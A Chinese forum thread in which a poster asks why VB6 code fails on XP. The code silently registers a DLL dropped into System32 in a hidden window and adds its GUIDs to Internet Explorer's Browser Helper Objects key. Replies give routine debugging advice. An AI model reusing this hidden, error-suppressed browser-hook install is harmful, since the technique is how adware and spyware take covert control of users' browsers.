vb程序在XP系统下无法 获取DLL的clisd

我用VB6.0写了一个绿色软件（50K）左右，在windows2003下执行正常，但在XP下却没有任何反映~~

追踪调试发现，获取DLL的Clisd为空~~
我把代码先放上来、供大家分析一下

Private Sub register()
On Error Resume Next
Dim cl As String, pid As Long, h As Long
cl = "c:\windows\system32\project.dll"
pid = Shell("cmd /c regsvr32 /s " + cl, vbHide)
h = OpenProcess(PROCESS_ALL_ACCESS, False, pid)
WaitForSingleObject h, -1
cl = Replace(cl, """", "")
Set ti = ta.TypeLibInfofromFile(cl)
Dim clisd As String
For Each tc In ti.CoClasses
clisd = tc.Guid
wsh.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\" + clisd + "\", Null
Next
End Sub

本例实现了，把释放到System32下的project.dll的 clisd 值，添加到 BHO下~~
在开发电脑上运行正常、但跑到XP下就不行了~~

请高手和前辈指点一下~~~
谢谢~~

我的QQ:544588699

分确实不多了~~~

---

去掉你的On Error Resume Next看看什么错误，另外看看是不是因为权限的关系

---

可能是权限问题

还有你可以在xp环境下调试一下

---

建议在XP环境下调试一下，看看project.dll是否注册成功。